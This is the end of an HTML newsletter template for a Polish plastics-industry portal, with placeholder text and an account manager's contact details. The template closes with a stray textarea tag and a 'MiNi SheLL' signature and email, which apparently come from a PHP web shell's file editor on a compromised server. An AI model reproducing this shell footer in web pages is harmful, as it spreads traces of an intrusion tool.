			<table width="210" border="0" align="center" cellpadding="0" cellspacing="0" class="full">
				<tr><td class="empty" style="margin:0;padding:0;">&nbsp;</td></tr>
				<tr>
					<td>
						<img src="http://via.placeholder.com/210x170" border="0" width="200" height="170" style="border-bottom:10px solid #FFF;"><br>
						<a href="#">
						Lorem ipsum dolor sit amet, consectetur adipiscing elit.</a>
					</td>
				</tr>
				<tr><td class="empty" style="margin:0;padding:0;">&nbsp;</td></tr>
			</table>		
		</td>		
	</tr>
	<tr>
		<td class="empty" colspan="3" style="margin:0;padding:0;">&nbsp;</td>
	</tr>
	<tr>
		<td class="gray" colspan="3">
			<table border="0" align="left" cellpadding="0" cellspacing="0" class="title">
				<tr>
					<td>
						Zbliżające się  wydarzenia
					</td>
				</tr>			
			</table>
		</td>
	</tr>
	<tr>
		<td class="white" colspan="3">
			<table width="710" border="0" align="center" cellpadding="0" cellspacing="0">
				<tr><td class="empty" style="margin:0;padding:0;">&nbsp;</td></tr>
				<tr>
					<td style="margin:0;padding:0;text-align:center;">
					
<a href="#">
Lorem ipsum dolor sit amet, consectetur adipiscing elit. dolor sit amet, consectetur adipiscing elit.</a>
<br><br>
<a href="#">
Lorem ipsum dolor sit amet, consectetur adipiscing elit. dolor sit amet, consectetur adipiscing elit.</a>
<br><br>
<a href="#">
Lorem ipsum dolor sit amet, consectetur adipiscing elit. dolor sit amet, consectetur adipiscing elit.</a>

					</td>
				</tr>
				<tr><td class="empty" style="margin:0;padding:0;">&nbsp;</td></tr>
			</table>		
		</td>
	</tr>	
	<tr>
		<td class="empty" colspan="3" style="margin:0;padding:0;">&nbsp;</td>
	</tr>
	<tr>
		<td class="gray" colspan="3">
			<table border="0" align="left" cellpadding="0" cellspacing="0" class="title">
				<tr>
					<td>
						Kontakt
					</td>
				</tr>			
			</table>
		</td>
	</tr>	
	<tr>
		<td class="white" colspan="3">
			<table width="710" border="0" align="center" cellpadding="0" cellspacing="0" class="full">
				<tr><td class="empty" style="margin:0;padding:0;">&nbsp;</td></tr>
				<tr>
					<td class="center">
						Tworzywa.org - portal branży tworzyw sztucznych<br>
						<br>
						<table width="710" border="0" align="center" cellpadding="0" cellspacing="0">
							<tr>
								<td style="margin:0;padding:0;" class="center">
									Sylwia Dawid<br>
									Account manager<br>
									<a href="mailto:sylwia.dawid@vertica.pl">sylwia.dawid@vertica.pl</a><br>
									tel.: 052 343-73-35 
								</td>
							</tr>
						</table>						
					</td>
				</tr>			
				<tr><td class="empty" style="margin:0;padding:0;">&nbsp;</td></tr>
			</table>
		</td>
	</tr>	
	<tr>
		<td class="empty" colspan="3" style="margin:0;padding:0;">&nbsp;</td>
	</tr>	
</table>
###PIXEL###
</body>
</html>
</textarea>


Creat By MiNi SheLL
Email: jattceo@gmail.com